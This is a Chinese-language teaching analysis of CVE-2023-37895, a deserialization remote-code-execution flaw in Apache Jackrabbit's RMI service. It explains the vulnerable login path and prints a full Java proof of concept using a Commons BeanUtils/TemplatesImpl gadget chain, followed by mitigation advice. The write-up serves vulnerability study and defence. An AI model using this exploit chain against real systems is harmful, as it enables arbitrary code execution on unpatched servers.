Apache Jackrabbit 反序列化漏洞分析(CVE-2023-37895)
字数 1643 2025-08-18 11:36:48
Apache Jackrabbit 反序列化漏洞分析(CVE-2023-37895) 教学文档
1. 漏洞背景
Apache Jackrabbit 是一个开源的内容仓库实现,它完整实现了 JCR (Java Content Repository) API 规范。JCR 是为内容仓库定义的 Java API 标准接口,允许应用程序通过这些标准接口访问不同的内容仓库实现。
Jackrabbit 提供了丰富的内容管理功能,包括:
- 层次结构节点管理
- 版本控制
- 观察(Observation)
- 查询功能
- 锁定机制
- 事务支持
2. 漏洞概述
Jackrabbit 在 /rmi 路径下提供了 RMI 服务,使远程客户端可以通过 RMI 协议访问服务器端的内容仓库。该漏洞存在于 RMI 服务的反序列化过程中,攻击者可以构造恶意的序列化对象实现远程代码执行(RCE)。
3. 漏洞原理分析
3.1 漏洞入口
通过 web.xml 配置文件可知,/rmi 路径对应的 Servlet 是 org.apache.jackrabbit.servlet.remote.RemoteBindingServlet。
该 Servlet 的核心处理逻辑:
- 调用
getRemoteRepository()方法获取 Repository 对象 - 将 Repository 对象转化为 Stub 代理对象返回给客户端
3.2 反序列化流程
- 客户端获取 Repository 对象后,可以调用
login()方法 - 服务端通过 RMI 的 JRMP 协议接收客户端传输的 Credentials 类
- 服务端对接收到的序列化数据进行反序列化
3.3 漏洞利用点
Credentials是一个继承Serializable的空接口- 其中一个实现类
SimpleCredentials包含一个Map<String,Object>类型的attributes属性 - 攻击者可以构造恶意的
PriorityQueue对象并存入attributesMap 中 - 反序列化时会递归反序列化所有属性,包括
attributesMap 中的恶意对象
4. 漏洞利用链
利用 Commons BeanUtils 组件构造攻击链:
- 构造恶意的
TemplatesImpl对象 - 使用
BeanComparator和PriorityQueue构造反序列化链 - 将构造的
PriorityQueue存入SimpleCredentials的attributes属性 - 通过 RMI 发送恶意
SimpleCredentials对象
5. 漏洞复现
5.1 环境准备
- Apache Jackrabbit 受影响版本
- 包含 Commons BeanUtils 组件的环境
5.2 POC 代码
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import org.apache.jackrabbit.rmi.repository.URLRemoteRepository;
import javax.jcr.Repository;
import javax.jcr.SimpleCredentials;
public class Exp {
public static void main(String[] args) throws Exception {
byte[] code = getTemplatesImpl("open -a calculator");
byte[][] codes = {code};
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", codes);
setFieldValue(obj, "_name", "aaaa");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> payload = new PriorityQueue<Object>(2, comparator);
payload.add("1");
payload.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(payload, "queue", new Object[]{obj, obj});
SimpleCredentials exp = new SimpleCredentials("admin", "admin".toCharArray());
exp.setAttribute("admin", payload);
repository.login(exp);
}
public static void setFieldValue(Object target, String name, Object value) throws Exception {
Class c = target.getClass();
Field field = c.getDeclaredField(name);
field.setAccessible(true);
field.set(target, value);
}
public static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd + "\");\n" +
" } catch (Exception ignored) {\n" +
" }");
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
}
5.3 执行效果
运行 POC 后,会执行指定的系统命令(如打开计算器)。
6. 修复建议
-
网络层面防护:
- 使用网络 ACL 限制访问 Jackrabbit 的来源
- 如非必要,不要将 Jackrabbit 暴露在互联网上
-
组件升级:
- 升级到已修复的安全版本
- 移除或更新存在漏洞的依赖组件(如 Commons BeanUtils)
-
代码层面防护:
- 实现自定义的 ObjectInputStream 并重写 resolveClass 方法
- 对反序列化的类进行白名单校验
-
配置加固:
- 禁用不必要的 RMI 服务
- 配置 JVM 安全策略限制敏感操作
7. 总结
CVE-2023-37895 漏洞利用了 Apache Jackrabbit 中 RMI 服务对 Credentials 对象的反序列化过程,通过构造恶意的序列化数据实现远程代码执行。该漏洞危害性较高,攻击者可在受影响系统上执行任意代码。建议用户及时采取防护措施,避免系统遭受攻击。